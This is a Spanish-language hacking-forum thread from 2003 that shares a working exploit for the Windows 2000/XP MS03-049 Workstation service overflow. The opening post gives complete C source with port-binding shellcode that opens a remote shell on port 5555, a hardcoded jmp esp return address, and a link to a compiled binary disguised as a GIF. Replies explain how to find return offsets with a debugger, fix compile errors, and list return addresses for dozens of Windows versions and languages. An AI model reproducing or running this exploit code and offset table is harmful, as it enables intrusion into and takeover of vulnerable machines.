elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
13 Febrero 2012, 05:26  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploit Win 2k/XP (MS03-049) (shell remota)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: Exploit Win 2k/XP (MS03-049) (shell remota)  (Leído 16,462 veces)
byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Exploit Win 2k/XP (MS03-049) (shell remota)
« en: 14 Diciembre 2003, 14:23 »

Código:
#include <stdio.h>
#include <windows.h>
#include <string.h>

typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG);

#define SIZE 2048

// PEX generated port binding shellcode (5555)
unsigned char shellcode[] =
"\x66\x81\xec\x04\x07" // sub sp, 704h
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31"
"\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x76\xac\x7c\x25\x81\xee\xfc"
"\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff\x9e\x94\x7c\x25"
"\x76\xef\x31\x61\x76\x4b\x05\xe3\x0f\x49\x35\xa3\x3f\x08\xd1\x0b"
"\x9f\x08\x66\x55\xb1\x75\x75\xd0\xdb\x67\x91\xd9\x4d\x22\x32\x2b"
"\x9a\xd2\xa4\xc7\x05\x01\xa5\x20\xb8\xde\x82\x96\x60\xfb\x2f\x17"
"\x29\x9f\x4e\x0b\x32\xe0\x30\x25\x77\xf7\x28\xac\x93\x25\x21\x25"
"\x1c\x9c\x25\x41\xfd\xad\xf7\x65\x7a\x27\x0c\x39\xdb\x27\x24\x2d"
"\x9d\xa0\xf1\x72\x5a\xfd\x2e\xda\xa6\x25\xbf\x7c\x9d\xbc\x16\x2d"
"\x28\xad\x92\x4f\x7c\xf5\xf7\x58\x76\x2c\x85\x23\x02\x48\x2d\x76"
"\x89\x98\xf3\xcd\xe6\xac\x7c\x25\x2f\x25\x78\xab\x94\x47\x4d\xda"
"\x10\x2d\x90\xb5\x77\xf8\x14\x24\x77\xac\x7c\xda\x23\x8c\x2b\x72"
"\x21\xfb\x3b\x72\x31\xfb\x83\x70\x6a\x25\xbf\x14\x89\xfb\x2b\x4d"
"\x74\xac\x69\x96\xff\x4a\x16\x35\x20\xff\x83\x70\x6e\xfb\x2f\xda"
"\x23\xb8\x2b\x73\x25\x53\x29\x35\xff\x6e\x1a\xa4\x9a\xf8\x7c\xa8"
"\x4a\x88\x4d\xe5\x1c\xb9\x25\xd6\xdd\x25\xab\xe3\x32\x88\x6c\x61"
"\x88\xe8\x58\x18\xff\xd0\x58\x6d\xff\xd0\x58\x69\xff\xd0\x58\x75"
"\xfb\xe8\x58\x35\x22\xfc\x2d\x74\x27\xed\x2d\x6c\x27\xfd\x83\x50"
"\x76\xfd\x83\x70\x46\x25\x9d\x4d\x89\x53\x83\xda\x89\x9d\x83\x70"
"\x5a\xfb\x83\x70\x7a\x53\x29\x0d\x25\xf9\x2a\x72\xfd\xc0\x58\x3d"
"\xfd\xe9\x40\xae\x22\xa9\x04\x24\x9c\x27\x36\x3d\xfd\xf6\x5c\x24"
"\x9d\x4f\x4e\x6c\xfd\x98\xf7\x24\x98\x9d\x83\xd9\x47\x6c\xd0\x1d"
"\x96\xd8\x7b\xe4\xb9\xa1\x7d\xe2\x9d\x5e\x47\x59\x52\xb8\x09\xc4"
"\xfd\xf6\x58\x24\x9d\xca\xf7\x29\x3d\x27\x26\x39\x77\x47\xf7\x21"
"\xfd\xad\x94\xce\x74\x9d\xbc\xac\x9c\xf3\x22\x78\x2d\x6e\x74\x25";

unsigned char jmp[] =
"\xe9\x6f\xfd\xff\xff"; // jmp -290h to land in the payload

int main(void)
{
        int ret;
        HINSTANCE hInstance;
        MYPROC procAddress;
        char szBuffer[SIZE];
        NETRESOURCE netResource;

        netResource.lpLocalName = NULL;
        netResource.lpProvider = NULL;
        netResource.dwType = RESOURCETYPE_ANY;
        netResource.lpRemoteName = "\\\\0.0.0.0\\ipc$";

        ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session
        if (ret != 0)
        {
                fprintf(stderr, "[-] WNetAddConnection2 failed\n");
                return 1;
        }

        hInstance = LoadLibrary("netapi32");
        if (hInstance == NULL)
        {
                fprintf(stderr, "[-] LoadLibrary failed\n");
                return 1;
        }

        procAddress = (MYPROC)GetProcAddress(hInstance, "NetValidateName"); // up to you tocheck NetAddAlternateComputerName
        if (procAddress == NULL)
        {
                fprintf(stderr, "[-] GetProcAddress failed\n");
                return 1;
        }

        memset(szBuffer, 0x90, sizeof(szBuffer));
        memcpy(&szBuffer[1400], shellcode, sizeof(shellcode) - 1);
        // ebp @ &szBuffer[2013]
        *(unsigned int *)(&szBuffer[2017]) = 0x74F81B4B; //(win2k sp2 español jmp esp)  eip (jmp esp @ msafd.dll, useopcode search engine for more, but
                      // be aware that a call esp willchange the offset in the stack)
        memcpy(&szBuffer[2021 + 12], jmp, sizeof(jmp)); // includes terminal NULL char
        ret = (procAddress)(L"\\\\0.0.0.0", (LPCWSTR)szBuffer, NULL, NULL, 0);
        //procAddress
        WNetCancelConnection2("\\\\0.0.0.0\\ipc$", 0, TRUE);
        FreeLibrary(hInstance);

        return 0;
}


Funciona bien en w2k sp2, la shell la da en el puerto 5555. para distintos sps o para xp cambiar la direccion que esta en:
*(unsigned int *)(&szBuffer[2017]) = 0x74F81B4B;

Fuente: http://www.cyruxnet.com.ar/news.htm
Modificacion by elhacker.net ;) compila con dev c++ sin problemas

-----------------------------------------------------------------------

Version compilada para w2k sp2 AQUI

PD: renombrar a exe pq esta en gif, solo funciona en el w2k sp2 y contra el ordenador donde sea ejecutado
« Última modificación: 16 Diciembre 2003, 17:09 por Mr.Potato » En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #1 en: 14 Diciembre 2003, 14:37 »

En mi win2000 con SP4 el offset es 74F8EE63

Buscar el offset es muy sencillo (grax Mek :))

Teneis que buscar un JMP ESP en la libreria msafd.dll, y en la direccion que este, pues ese es el offset.

Mek y yo lo hemos hecho, codeando esto en C:

Código:
#include <stdio.h>
#include <windows.h>

int main (){

LoadLibrary ("msafd.dll");
return 0;
}

Es un simple programa que carga en memoria la libreria msafd.dll.

Luego, en el ollydbg, abrimos este programa, lo arrancamos, nos vamos a Executable Modules, seleccionamos la libreria msafd.dll y buscamos la instruccion JMP ESP...

Y ya esta, la direccion de memoria que marque, es el offset.

Salu2
En línea

vicecity


Desconectado Desconectado

Mensajes: 894



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #2 en: 14 Diciembre 2003, 16:18 »

alguien se tomaria la pequeña molestia de compilarlo a .exe porque en MS Visual c++ no me compilo =(

nota : lo guarde como 0349.c
En línea
byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #3 en: 14 Diciembre 2003, 16:46 »

que errores te da? de todos modos en dev c++ compila perfectamente.
En línea
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #4 en: 14 Diciembre 2003, 17:04 »

Bueno ami en el dev c++ me tira el sig error

Linea 81
Error
argument passing to `const WCHAR *' from `char *'


En esta linea
ret = (procAddress)(L"\\\\0.0.0.0", szBuffer, NULL, NULL, 0);

Saludos

En línea
byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #5 en: 14 Diciembre 2003, 17:11 »

error o warning? vamos a mi antes me daba 2 warning pero funcionaba perfectamente, ahora no me da ni 1 solo.
En línea
Chodi

Desconectado Desconectado

Mensajes: 15

¡Amo YaBB SE!


Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #6 en: 14 Diciembre 2003, 17:13 »

En este xploit se podrian ahcer un par de modificaciones para que se pudiese introducir una ip y un SO a elegir en vez de tener qeu compilar cada vez que cambias de ip o SO no? a mi tb me da error en esa linea, no se que quiere decir esa L
En línea

<a href="http://ep2m.net" alt='Descargas p2m'><img src="http://ep2m.net/images/banners/banner2.gif" alt='Descargas p2m, peliculas, series, anime, juegos y mucho mas'></a>
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #7 en: 14 Diciembre 2003, 17:21 »

Bueno no se  pero no he podido compilar muchos exploit porque me tira ese error.No se mucho de c solo  de ver los codigos.
Que puede ser siempre tengo problemas en esa linea.en algunos exploits Tiene algo que bver con la dir de ret??.

saludos
En línea
byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #8 en: 14 Diciembre 2003, 17:32 »

Pues a mi errores no me da, mira el log:

Citar
Compiler: Default compiler
Building Makefile: "E:\WINME\Dev-Cpp\cosas\Makefile.win"
Executing  make...
make.exe -f "E:\WINME\Dev-Cpp\cosas\Makefile.win" all
gcc.exe main.o  -o "Prueba.exe" -L"E:/WINME/Dev-Cpp/lib" ../lib/libmpr.a

Execution terminated
Compilation successful

estais añadiendo libmpr.a? si no la añadis no compilara. sobre lo de modificarlo para no tener que estar compilando... cada cual es libre de hacerlo.
En línea
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #9 en: 14 Diciembre 2003, 17:41 »

perdon por mi  Ignorancia pero a  que te refieres con si estoy agregando libmpr.a si no lo he agregado como lo hago

Gracias por tus respuestas

Saludos
En línea
byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #10 en: 14 Diciembre 2003, 17:46 »

ves a project > project options > parameters > linker > add library or object , vas al directorio lib y seleccionas el archivo que tengas que incluir.
En línea
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #11 en: 14 Diciembre 2003, 17:55 »

perdon pero abro el archivo fuente y luego voy a la solapa de proyect y no me deja setear esa las opciones no se que pasa paresco un tonto pero no esta habilitado

Saludos
En línea
byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #12 en: 14 Diciembre 2003, 17:59 »

create un nuevo proyecto y lo tendras habilitado.
En línea
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #13 en: 14 Diciembre 2003, 18:04 »

Bueno muchas gracias por tus respuestas potato ahora voy a probar si de algo sirve encontre en un foro oday estos offsets para este esxploit habria que provar si funciona .

 char winntsp4eng[] = "\xe5\x27\xf3\x77"; /* English winNT sp4 */
char winntsp5cn[] = "\xcf\xda\xee\x77"; /* china winNT sp5 */
char winntsp6cn[] = "\xac\x0e\xf0\x77"; /* china winNT sp6 */
char winntsp6acn[] = "\xc3\xea\xf0\x77"; /* china NT sp6a */
char win2knosppl[] = "\x4d\x3f\xe3\x77"; /* polish win2k nosp ver 5.00.2195*/
char win2ksp3pl[] = "\x29\x2c\xe4\x77"; /* polish win2k sp3 - ver 5.00.2195 tested */
char win2ksp4sp[] = "\x13\x3b\xa5\x77"; /* spanish win2k sp4 */
char win2knospeng1[] = "\x74\x16\xe8\x77"; /* english win2k nosp 1 */
char win2knospeng2[] = "\x6d\x3f\xe3\x77"; /* english win2k nosp 2 */
char win2ksp1eng[] = "\xec\x29\xe8\x77"; /* english win2k sp1 */
char win2ksp2eng1[] = "\x2b\x49\xe2\x77"; /* english win2k sp2 1 */
char win2ksp2eng2[] = "\xb5\x24\xe8\x77"; /* english win2k sp2 2 */
char win2ksp3eng1[] = "\x7a\x36\xe8\x77"; /* english win2k sp3 1 */
char win2ksp3eng2[] = "\x5c\xfa\x2e\x77"; /* english win2k sp3 2 */
char win2ksp4eng[] = "\x9b\x2a\xf9\x77"; /* english win2k sp4 */
char win2knospchi[] = "\x2a\xe3\xe2\x77"; /* china win2k nosp */
char win2ksp1chi[] = "\x8b\x89\xe6\x77"; /* china win2k sp1 */
char win2ksp2chi[] = "\x2b\x49\xe0\x77"; /* china win2k sp2 */
char win2ksp3chi[] = "\x44\x43\x42\x41"; /* china win2k sp3 */
char win2ksp4chi[] = "\x29\x4c\xdf\x77"; /* china win2k sp4 */
char win2ksp3ger[] = "\x7a\x88\x2e\x77"; /* german win2k sp3 */
char win2knospjap[] = "\xe5\x27\xf3\x77"; /* Japanese win2k nosp */
char win2ksp1jap[] = "\x8b\x89\xe5\x77"; /* Japanese win2k sp1 */
char win2ksp2jap[] = "\x2b\x49\xdf\x77"; /* japanese win2k sp2 */
char win2knospkr[] = "\x2a\xe3\xe1\x77"; /* Korea win2k nosp */
char win2ksp1kr[] = "\x8b\x89\xe5\x77"; /* Korea win2k sp1 same offset as win2kjp_sp1 ??*/
char win2ksp2kr[] = "\x2b\x49\xdf\x77"; /* Korea win2k sp2 */
char win2knospmx[] = "\x2a\xe3\xe1\x77"; /* Mexican win2k nosp */
char win2ksp1mx[] = "\x8b\x89\xe8\x77"; /* Mexican win2k sp1 */
char win2knospken[] = "\x4d\x3f\xe3\x77"; /* Kenya win2k sp1 */
char win2ksp1ken[] = "\x8b\x89\xe8\x77"; /* Kenya win2k sp1 */
char win2ksp2ken[] = "\x2b\x49\xe2\x77"; /* Kenya win2k sp1 */
char winxpnospeng[] = "\xe3\xaf\xe9\x77"; /* english xp nosp ver 5.1.2600 */
char winxpsp1eng1[] = "\xba\x26\xe6\x77"; /* english xp sp1 1 */
char winxpsp1eng2[] = "\xdb\x37\xd7\x77"; /* english xp sp1 2 */
char winxpsp2eng[] = "\xbd\x73\x7d\x77"; /* english xp sp2 */
char win2k3nospeng[] = "\xb0\x54\x22\x77"; /* english win2k3 */
char Win2ksp3ger[] = "\x29\x2c\xe3\x77"; /* Germanh win2 sp3 */
char Win2ksp4ger1[] = "\x29\x4c\xe0\x77"; /* German win2 sp4 1 */
char Win2ksp4ger2[] = "\x56\xc2\xe2\x77"; /* German win2 sp4 2 */
char winxpsp1ger[] = "\xfc\x18\xd4\x77"; /* German xp sp1 */
char Win2ksp1fr[] = "\x4b\x3e\xe4\x77" /* French win2k Server SP1 */
char Win2ksp4fr[] = "\x56\xc2\xe2\x77" /* French win2k Server SP4 */
char winxpsp0fr[] = "\x4a\x75\xd4\x77" /* French win xp no sp */
char winxpsp1fr[] = "\xfc\x18\xd4\x77" /* French win xp sp 1 */
char win2ksp3big[] = "\x25\x2b\xaa\x77"
char win2ksp4big[] = "\x29\x4c\xdf\x77"
char winxpsp01big[] = "\xfb\x7b\xa1\x71"

Me gustaria si alguien se anima explicar un poco estos temas direccion de ret, offset, etc

Saludos
« Última modificación: 14 Diciembre 2003, 18:06 por EL_ZoRRo » En línea
byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Re:Exploit Win 2k/XP (MS03-049) (shell remota)
« Respuesta #14 en: 14 Diciembre 2003, 18:18 »

si los ponen es pq seran esos, aunque tampoco te fies mucho pq no viene todo siempre como dice. de todos modos el post de rojodos explica como sacarlo en tu windows y estar seguro %100. en este tema se habla un poco de eso http://foro.elhacker.net/index.php?board=32;action=display;threadid=22285 y en el de preguntas frecuentes creo que es (sección hack pinchado esta) creo recordar que hay enlaces sobre eso tb.
En línea
Páginas: [1] 2 3 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines